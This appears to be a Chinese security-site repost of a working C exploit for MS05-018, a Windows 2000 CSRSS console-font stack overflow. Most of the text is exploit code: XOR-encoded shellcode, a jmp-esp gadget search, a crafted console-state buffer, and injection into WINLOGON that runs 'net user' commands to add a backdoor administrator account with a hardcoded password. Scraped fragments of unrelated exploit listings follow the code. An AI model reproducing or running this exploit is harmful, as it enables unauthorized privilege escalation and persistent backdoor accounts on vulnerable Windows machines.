Microsoft Windows CSRSS Local Privilege Escalation Exploit (MS05-018)

文章整理:天天安全网   作者:佚名   发布时间:2005-09-09

漏洞资料:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0551
危险程度:中等
影响范围:Microsoft Windows 2000/XP/2003
解决办法:http://www.microsoft.com/technet/security/bulletin/ms05-018.mspx

------------------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

#pragma comment (lib,"Advapi32.lib")

typedef struct _CONSOLE_STATE_INFO {
/* 0x00 */ DWORD cbSize;
/* 0x04 */ COORD ScreenBufferSize;
/* 0x08 */ COORD WindowSize;
/* 0x0c */ POINT WindowPosition;
/* 0x14 */ COORD FontSize;
/* 0x18 */ DWORD FontFamily;
/* 0x1c */ DWORD FontWeight;
/* 0x20 */ WCHAR FaceName[0x200];
} CONSOLE_STATE_INFO, *PCONSOLE_STATE_INFO;

typedef struct xxx
{
DWORD dw[6];
char cmd[0x50];
}address_and_cmd;

char decoder[]=
"/x8b/xdc"
"/xBE/x44/x59/x41/x53/x46/xBF/x44/x59/x34/x53/x47/x43/x39/x33/x75"
"/xFB/x83/xC3/x04/x80/x33/x97/x43/x39/x3B/x75/xF8/x45/x59/x41/x53";
//user=e
//pass=asd#321
char add_user[]=
"/x90/x90/x90/x90/x90/x90/x90/x8D/x7b/x98/xFF/x77/x14/x6A/x00/x68"
"/x2A/x04/x00/x00/xFF/x17/x8B/xD8/x6A/x04/x68/x00/x10/x00/x00/x68"
"/x00/x01/x00/x00/x6A/x00/x53/xFF/x57/x04/x8B/xF0/x6A/x00/x68/x00"
"/x01/x00/x00/x8D/x47/x18/x50/x56/x53/xFF/x57/x08/x33/xC0/x50/x50"
"/x56/xFF/x77/x10/x50/x50/x53/xFF/x57/x0C";
char decode_end_sign[]="EY4S";
char sc[0x200];

char szConsoleTitle[256];

DWORD search_jmpesp()
{
char szDLL[][30] = {"ntdll.dll",
"kernel32.dll",
"user32.dll",
"gdi32.dll",
"winsrv.dll",
"csrsrv.dll",
"basesrv.dll"};
int i,y;
BOOL done;
HMODULE h;
BYTE *ptr;
DWORD addr=0;

for(i=0;i<sizeof(szDLL)/sizeof(szDLL[0]);i++)
{
done = FALSE;
h = LoadLibrary(szDLL[i]);
if(h == NULL)
continue;
printf("[+] start search /"FF E4/" in %s/n", szDLL[i]);
ptr = (BYTE *)h;
for(y = 0;!done;y++)
{
__try
{
if(ptr[y] == (BYTE)'/xFF' && ptr[y+1] == (BYTE)'/xE4')
{
addr = (int)ptr + y;
done = TRUE;
printf("[+] found /"FF E4/"(jmp esp) in %X[%s]/n", addr, szDLL[i]);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
done = TRUE;
}
}
FreeLibrary(h);
if(addr) break;
}
return addr;
}
BOOL make_shellcode(DWORD dwTargetPid)
{
HMODULE hKernel32;
address_and_cmd aac;
int i=0, j=0, size=0;

hKernel32 = LoadLibrary("kernel32.dll");
if(!hKernel32) return FALSE;
aac.dw[0] = (DWORD)GetProcAddress(hKernel32, "OpenProcess");
aac.dw[1] = (DWORD)GetProcAddress(hKernel32, "VirtualAllocEx");
aac.dw[2] = (DWORD)GetProcAddress(hKernel32, "WriteProcessMemory");
aac.dw[3] = (DWORD)GetProcAddress(hKernel32, "CreateRemoteThread");
aac.dw[4] = (DWORD)GetProcAddress(hKernel32, "WinExec");
aac.dw[5] = dwTargetPid;

memset(aac.cmd, 0, sizeof(aac.cmd));
strcpy(aac.cmd, "cmd /c net user e asd#321 /add && net localgroup administrators e /add");

//encode
strcpy(sc, decoder);
for(i=0;i<sizeof(add_user);i++)
add_user[i]^=(BYTE)'/x97';
strcat(sc, add_user);
for(i=0;i<sizeof(aac);i++)
((char *)&aac)[i]^=(BYTE)'/x97';
size=strlen(sc);
memcpy(&sc[size], (char *)&aac, sizeof(aac));
size+=sizeof(aac);
sc[size]='/x0';
strcat(sc, decode_end_sign);

return TRUE;
}

void exploit(HWND hwnd, DWORD dwPid)
{
HANDLE hFile;
LPVOID lp;
int i, index;
DWORD dwJMP;
CONSOLE_STATE_INFO csi;

memset((void *)&csi, 0, sizeof(csi));
csi.cbSize = sizeof(csi);
csi.ScreenBufferSize.X = 0x0050;
csi.ScreenBufferSize.Y = 0x012c;
csi.WindowSize.X = 0x0050;
csi.WindowSize.Y=0x0019;
csi.WindowPosition.x = 0x58;
csi.WindowPosition.y = 0x58;
csi.FontSize.X = 0;
csi.FontSize.Y=0xc;
csi.FontFamily = 0x36;
csi.FontWeight = 0x190;

for(i=0;i<0x58;i++)
((char *)csi.FaceName)[i] = '/x90';
dwJMP = search_jmpesp();
if(!dwJMP)
{
printf("[-] search FF E4 failed./n");
return;
}
memcpy(&((char *)csi.FaceName)[0x58], (char *)&dwJMP, 4);
for(i=0;i<0x20;i++)
strcat((char *)csi.FaceName, "/x90");
index = strlen((char *)csi.FaceName);

if(!make_shellcode(dwPid)) return;
memcpy(&((char *)csi.FaceName)[index], (char *)sc, strlen(sc));

hFile = CreateFileMappingW((void *)0xFFFFFFFF,0,4,0,csi.cbSize,0);
if(!hFile)
{
printf("[-] CreateFileMapping failed:%d/n", GetLastError());
return;
}
printf("[+] CreateFileMapping OK!/n");
lp = MapViewOfFile(hFile, 0x0F001F,0,0,0);
if(!lp)
{
printf("[-] MapViewOfFile failed:%d/n", GetLastError());
return;
}
printf("[+] MapViewOfFile OK!/n");
//copy
memcpy((unsigned short *)lp, (unsigned short *)&csi, csi.cbSize);

printf("[+] Send Exploit!/n");
SendMessageW(hwnd,0x4C9,(WPARAM)hFile,0);
}

void main(int argc, char **argv)
{
DWORD dwRet;
HWND hwnd = NULL;
DWORD dwPid = 0;
HANDLE hSnapshot = NULL;
PROCESSENTRY32 pe;

printf( "MS05-018 windows CSRSS.EXE Stack Overflow exp v1.0/n"
"Affect: Windows 2000 sp3/sp4 (all language)/n"
"Coded by eyas <eyas at xfocus.org>/n"
"http://www.xfocus.net/n/n");

if(argc==2)
{
dwPid = atoi(argv[1]);
}
else
{
printf("Usage: %s pid/n/n", argv[0]);
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
if( strcmpi(pe.szExeFile, "WINLOGON.EXE") == 0)
{
printf("[+] PID=%d Process=%s/n", pe.th32ProcessID, pe.szExeFile);
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle (hSnapshot);
}

if(!dwPid) return;

if(!FreeConsole())
printf("[-] FreeConsole failed:%d/n", GetLastError());
else
{
printf("[+] FreeConsole ok./n");
if(!AllocConsole())
printf("[-] AllocConsole failed:%d/n", GetLastError());
else
printf("[+] AllocConsole ok./n");
}

dwRet = GetConsoleTitle(szConsoleTitle, sizeof(szConsoleTitle));
if(dwRet)
{
printf("[+] Get Console Title OK:/"%s/"/n", szConsoleTitle);
}
else
{
printf("[-] Get Console Title failed./n");
return;
}

hwnd = FindWindow("ConsoleWindowClass",szConsoleTitle);
if(hwnd)
printf("[+] bingo! found hwnd=%X/n", hwnd);
else
{
printf("[-] can't found hwnd!/n");
return;
}

exploit(hwnd, dwPid);
printf("[+] Done./n");
}

时间: 2024-09-08 06:54:37

Microsoft Windows CSRSS Local Privilege Escalation Exploit (MS05-018)的相关文章

Microsoft Windows &quot;keybd_event&quot; Local Privilege Escalation Exploit

文章整理:天天安全网   作者:佚名   发布时间:2005-09-09 漏洞资料:http://www.haxorcitos.com/MSRC-6005bgs-EN.txt危险程度:中等影响范围:Microsoft Windows 2000/XP/2003解决办法:暂时没有解决方案 ------------------------------------------------------------------------------ /* * Microsoft Windows keybd

Local Privilege Escalation for macOS 10.12.2 and XNU port Feng Shui

0x00 Introduction From yalu 10.2, we could learn lots of new exploit techniques especially the XNU port feng shui and kpp bypass. In this article, we discuss the technique detail about XNU port feng shui and transform this technique to macOS to gain

Local privilege escalation for OS X 10.11.6 via PEGASUS

0x00 Introduction Because of the PEGASUS apt issue on iOS, Trident exploit is very hot recently. From Lookout's report, there are three vulnerabilities in the Trident exploit: CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrar

安装Microsoft Windows 2000 恢复控制台

window|恢复|控制 2.在 CMD中,安装CD I386 目录下,键入: C :\> winnt32 /cmdcons 在出现的确认信息上点击"确定" 启动菜单中加入 C:\CMDCONS\BOOTSECT.DAT="Microsoft Windows 2000 Command Console" /cmdcons 并且复制所需的文件. 3. 重新启动计算机,选中" Microsoft Windows 2000 Command Console &

如何在 Java 应用程序中读取 8 位和 24 位 Microsoft Windows 位图(转)

window|程序 如何在 Java 应用程序中读取 8 位和 24 位 Microsoft Windows 位图在 Java 应用程序中加载位图文件的逐步指南 作者:Jeff West 和 John D. Mitchell 摘要目前,标准的 getImage() 方法仅支持 GIF 和 JPEG 图像.尽管存在用于读取 PNG(可移植网络图形)格式的 Java 例程,但我们还没听说过有用于读取 Microsoft Windows 位图图像的阅读程序.Jeff West 撰写的这篇技巧提供了加载

Microsoft Windows实时通信(RTC)客户端的媒体支持

摘要 Microsoft Windows 的实时通信(RTC)客户端由一系列核心组件构成,它提供了丰富 的通信特性.这些特性通过 Windows Messager 和其它一些使用了此应用程序编程接口( APIs)的应用程序展示给用户.本文将概述与媒体相关的特性以及这些组件提供的增强特 性.应用程序开发者或许想要将 RTC 特性 集成到自己的程序中以改进用户体验.开发者 还能利用 RTC 的特性构建自己的社区. 引言 Microsoft Windows XP 中结合与增强了丰富的通信特性,为 RT

IBM Connections Desktop plug-ins for Microsoft Windows新功能

概述 IBM Connections Desktop Plug-ins for Microsoft Windows 是一款提供更加方便更加快捷使用 IBM Connections Files 的桌面插件.使用 IBM Connections Desktop Plug-ins for Microsoft Windows 插件可以直接在用户桌面上查看与管理多个服务器上的文件,无需使用浏览器,一经推出就受到广大用户的青睐.随着 IBM Connections 4.0 的问世, 这款桌面插件的升级版也相

Mcad学习笔记之Microsoft Windows服务

Windows服务是在后台运行的 它没有用户界面,比较适合处理不要与用户交互的任务 它可以运行在win2000,winXp,WinNt等操作系统上 关于如何编写简单windows服务应用程序 大家可以参考 http://chs.gotdotnet.com/QuickStart/howto/default.aspx?url=/quickstart/howto/doc/SimpleService.aspx 我在这里就个人的学习心得,做了一个小总结: Microsoft Windows服务使用Syst

Microsoft Windows Server 2008 Beta 3VHD官方镜像下载_常用工具

微软在下载中心发布了Windows Server 2008 Beta3的下载.本次下载是VHD版本,RAR分卷压缩,大小2.85GB,可以用Virtual Server 2005 R2虚拟机直接运行,大约需要10GB的硬盘空间.对Windows Server 2008有兴趣的朋友们不妨一试. Microsoft Windows Server 2008 is the next generation of the Windows Server operating system that helps